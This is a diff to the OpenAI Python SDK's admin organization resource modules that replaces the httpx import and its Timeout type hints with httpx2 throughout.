@@ -5,7 +5,7 @@
from typing import Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -53,7 +53,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AdminAPIKeyCreateResponse:
"""
Create an organization admin API key
@@ -98,7 +98,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AdminAPIKey:
"""
Retrieve a single organization API key
@@ -139,7 +139,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncCursorPage[AdminAPIKey]:
"""
List organization API keys
@@ -189,7 +189,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AdminAPIKeyDeleteResponse:
"""
Delete an organization admin API key
@@ -250,7 +250,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AdminAPIKeyCreateResponse:
"""
Create an organization admin API key
@@ -295,7 +295,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AdminAPIKey:
"""
Retrieve a single organization API key
@@ -336,7 +336,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[AdminAPIKey, AsyncCursorPage[AdminAPIKey]]:
"""
List organization API keys
@@ -386,7 +386,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AdminAPIKeyDeleteResponse:
"""
Delete an organization admin API key
diff --git a/src/openai/resources/admin/organization/audit_logs.py b/src/openai/resources/admin/organization/audit_logs.py
index 9c8ec62543..5fc61feae3 100644
--- a/src/openai/resources/admin/organization/audit_logs.py
+++ b/src/openai/resources/admin/organization/audit_logs.py
@@ -5,7 +5,7 @@
from typing import List
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, SequenceNotStr, omit, not_given
@@ -208,7 +208,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[AuditLogListResponse]:
"""
List user actions and configuration changes within this organization.
@@ -473,7 +473,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[AuditLogListResponse, AsyncConversationCursorPage[AuditLogListResponse]]:
"""
List user actions and configuration changes within this organization.
diff --git a/src/openai/resources/admin/organization/certificates.py b/src/openai/resources/admin/organization/certificates.py
index 025c493368..e2f0c08e8f 100644
--- a/src/openai/resources/admin/organization/certificates.py
+++ b/src/openai/resources/admin/organization/certificates.py
@@ -5,7 +5,7 @@
from typing import List
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, SequenceNotStr, omit, not_given
@@ -62,7 +62,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Certificate:
"""Upload a certificate to the organization.
@@ -113,7 +113,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Certificate:
"""
Get a certificate that has been uploaded to the organization.
@@ -157,7 +157,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Certificate:
"""Modify a certificate.
@@ -200,7 +200,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[CertificateListResponse]:
"""
List uploaded certificates for this organization.
@@ -255,7 +255,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> CertificateDeleteResponse:
"""
Delete a certificate from the organization.
@@ -294,7 +294,7 @@ def activate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncPage[CertificateActivateResponse]:
"""
Activate certificates at the organization level.
@@ -336,7 +336,7 @@ def deactivate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncPage[CertificateDeactivateResponse]:
"""
Deactivate certificates at the organization level.
@@ -400,7 +400,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Certificate:
"""Upload a certificate to the organization.
@@ -451,7 +451,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Certificate:
"""
Get a certificate that has been uploaded to the organization.
@@ -497,7 +497,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Certificate:
"""Modify a certificate.
@@ -540,7 +540,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[CertificateListResponse, AsyncConversationCursorPage[CertificateListResponse]]:
"""
List uploaded certificates for this organization.
@@ -595,7 +595,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> CertificateDeleteResponse:
"""
Delete a certificate from the organization.
@@ -634,7 +634,7 @@ def activate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[CertificateActivateResponse, AsyncPage[CertificateActivateResponse]]:
"""
Activate certificates at the organization level.
@@ -676,7 +676,7 @@ def deactivate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[CertificateDeactivateResponse, AsyncPage[CertificateDeactivateResponse]]:
"""
Deactivate certificates at the organization level.
diff --git a/src/openai/resources/admin/organization/data_retention.py b/src/openai/resources/admin/organization/data_retention.py
index 1b353c7c18..cb2ff611d6 100644
--- a/src/openai/resources/admin/organization/data_retention.py
+++ b/src/openai/resources/admin/organization/data_retention.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Query, Headers, NotGiven, not_given
@@ -47,7 +47,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationDataRetention:
"""Retrieves organization data retention controls."""
return self._get(
@@ -76,7 +76,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationDataRetention:
"""
Updates organization data retention controls.
@@ -136,7 +136,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationDataRetention:
"""Retrieves organization data retention controls."""
return await self._get(
@@ -165,7 +165,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> OrganizationDataRetention:
"""
Updates organization data retention controls.
diff --git a/src/openai/resources/admin/organization/groups/groups.py b/src/openai/resources/admin/organization/groups/groups.py
index 7c7f1dc5cd..24e44f4a19 100644
--- a/src/openai/resources/admin/organization/groups/groups.py
+++ b/src/openai/resources/admin/organization/groups/groups.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ..... import _legacy_response
from .roles import (
@@ -75,7 +75,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Group:
"""
Creates a new group in the organization.
@@ -113,7 +113,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Group:
"""
Retrieves a group.
@@ -151,7 +151,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> GroupUpdateResponse:
"""
Updates a group's information.
@@ -193,7 +193,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncNextCursorPage[Group]:
"""
Lists all groups in the organization.
@@ -247,7 +247,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> GroupDeleteResponse:
"""
Deletes a group from the organization.
@@ -313,7 +313,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Group:
"""
Creates a new group in the organization.
@@ -351,7 +351,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Group:
"""
Retrieves a group.
@@ -389,7 +389,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> GroupUpdateResponse:
"""
Updates a group's information.
@@ -431,7 +431,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Group, AsyncNextCursorPage[Group]]:
"""
Lists all groups in the organization.
@@ -485,7 +485,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> GroupDeleteResponse:
"""
Deletes a group from the organization.
diff --git a/src/openai/resources/admin/organization/groups/roles.py b/src/openai/resources/admin/organization/groups/roles.py
index e7054d5f0c..b6f0e85909 100644
--- a/src/openai/resources/admin/organization/groups/roles.py
+++ b/src/openai/resources/admin/organization/groups/roles.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -53,7 +53,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleCreateResponse:
"""
Assigns an organization role to a group within the organization.
@@ -94,7 +94,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleRetrieveResponse:
"""
Retrieves an organization role assigned to a group.
@@ -136,7 +136,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncNextCursorPage[RoleListResponse]:
"""
Lists the organization roles assigned to a group within the organization.
@@ -190,7 +190,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleDeleteResponse:
"""
Unassigns an organization role from a group within the organization.
@@ -251,7 +251,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleCreateResponse:
"""
Assigns an organization role to a group within the organization.
@@ -292,7 +292,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleRetrieveResponse:
"""
Retrieves an organization role assigned to a group.
@@ -334,7 +334,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[RoleListResponse, AsyncNextCursorPage[RoleListResponse]]:
"""
Lists the organization roles assigned to a group within the organization.
@@ -388,7 +388,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleDeleteResponse:
"""
Unassigns an organization role from a group within the organization.
diff --git a/src/openai/resources/admin/organization/groups/users.py b/src/openai/resources/admin/organization/groups/users.py
index 0e40f772b2..9dd8feb1ca 100644
--- a/src/openai/resources/admin/organization/groups/users.py
+++ b/src/openai/resources/admin/organization/groups/users.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -53,7 +53,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UserCreateResponse:
"""
Adds a user to a group.
@@ -94,7 +94,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UserRetrieveResponse:
"""
Retrieves a user in a group.
@@ -136,7 +136,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncNextCursorPage[OrganizationGroupUser]:
"""
Lists the users assigned to a group.
@@ -191,7 +191,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UserDeleteResponse:
"""
Removes a user from a group.
@@ -252,7 +252,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UserCreateResponse:
"""
Adds a user to a group.
@@ -293,7 +293,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UserRetrieveResponse:
"""
Retrieves a user in a group.
@@ -335,7 +335,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[OrganizationGroupUser, AsyncNextCursorPage[OrganizationGroupUser]]:
"""
Lists the users assigned to a group.
@@ -390,7 +390,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> UserDeleteResponse:
"""
Removes a user from a group.
diff --git a/src/openai/resources/admin/organization/invites.py b/src/openai/resources/admin/organization/invites.py
index b06e4be2aa..cfe63a946a 100644
--- a/src/openai/resources/admin/organization/invites.py
+++ b/src/openai/resources/admin/organization/invites.py
@@ -5,7 +5,7 @@
from typing import Iterable
from typing_extensions import Literal
-import httpx
+import httpx2
from .... import _legacy_response
from ...._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -53,7 +53,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Invite:
"""Create an invite for a user to the organization.
@@ -107,7 +107,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Invite:
"""
Retrieves an invite.
@@ -145,7 +145,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[Invite]:
"""
Returns a list of invites in the organization.
@@ -196,7 +196,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> InviteDeleteResponse:
"""Delete an invite.
@@ -257,7 +257,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Invite:
"""Create an invite for a user to the organization.
@@ -311,7 +311,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Invite:
"""
Retrieves an invite.
@@ -349,7 +349,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Invite, AsyncConversationCursorPage[Invite]]:
"""
Returns a list of invites in the organization.
@@ -400,7 +400,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> InviteDeleteResponse:
"""Delete an invite.
diff --git a/src/openai/resources/admin/organization/projects/api_keys.py b/src/openai/resources/admin/organization/projects/api_keys.py
index 0bc16e807c..50ba64f81d 100644
--- a/src/openai/resources/admin/organization/projects/api_keys.py
+++ b/src/openai/resources/admin/organization/projects/api_keys.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -51,7 +51,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectAPIKey:
"""
Retrieves an API key in the project.
@@ -97,7 +97,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[ProjectAPIKey]:
"""
Returns a list of API keys in the project.
@@ -158,7 +158,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> APIKeyDeleteResponse:
"""
Deletes an API key from the project.
@@ -226,7 +226,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectAPIKey:
"""
Retrieves an API key in the project.
@@ -272,7 +272,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[ProjectAPIKey, AsyncConversationCursorPage[ProjectAPIKey]]:
"""
Returns a list of API keys in the project.
@@ -333,7 +333,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> APIKeyDeleteResponse:
"""
Deletes an API key from the project.
diff --git a/src/openai/resources/admin/organization/projects/certificates.py b/src/openai/resources/admin/organization/projects/certificates.py
index 0bd8c02601..c57f1d58f1 100644
--- a/src/openai/resources/admin/organization/projects/certificates.py
+++ b/src/openai/resources/admin/organization/projects/certificates.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Omit, Query, Headers, NotGiven, SequenceNotStr, omit, not_given
@@ -58,7 +58,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[CertificateListResponse]:
"""
List certificates for this project.
@@ -116,7 +116,7 @@ def activate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncPage[CertificateActivateResponse]:
"""
Activate certificates at the project level.
@@ -161,7 +161,7 @@ def deactivate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncPage[CertificateDeactivateResponse]:
"""Deactivate certificates at the project level.
@@ -229,7 +229,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[CertificateListResponse, AsyncConversationCursorPage[CertificateListResponse]]:
"""
List certificates for this project.
@@ -287,7 +287,7 @@ def activate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[CertificateActivateResponse, AsyncPage[CertificateActivateResponse]]:
"""
Activate certificates at the project level.
@@ -332,7 +332,7 @@ def deactivate(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[CertificateDeactivateResponse, AsyncPage[CertificateDeactivateResponse]]:
"""Deactivate certificates at the project level.
diff --git a/src/openai/resources/admin/organization/projects/data_retention.py b/src/openai/resources/admin/organization/projects/data_retention.py
index 14c9c8c4a0..90ab30d2b9 100644
--- a/src/openai/resources/admin/organization/projects/data_retention.py
+++ b/src/openai/resources/admin/organization/projects/data_retention.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Query, Headers, NotGiven, not_given
@@ -48,7 +48,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectDataRetention:
"""
Retrieves project data retention controls.
@@ -93,7 +93,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectDataRetention:
"""
Updates project data retention controls.
@@ -156,7 +156,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectDataRetention:
"""
Retrieves project data retention controls.
@@ -201,7 +201,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectDataRetention:
"""
Updates project data retention controls.
diff --git a/src/openai/resources/admin/organization/projects/groups/groups.py b/src/openai/resources/admin/organization/projects/groups/groups.py
index 2b8ad6fd55..e86700c26c 100644
--- a/src/openai/resources/admin/organization/projects/groups/groups.py
+++ b/src/openai/resources/admin/organization/projects/groups/groups.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ...... import _legacy_response
from .roles import (
@@ -64,7 +64,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectGroup:
"""
Grants a group access to a project.
@@ -114,7 +114,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
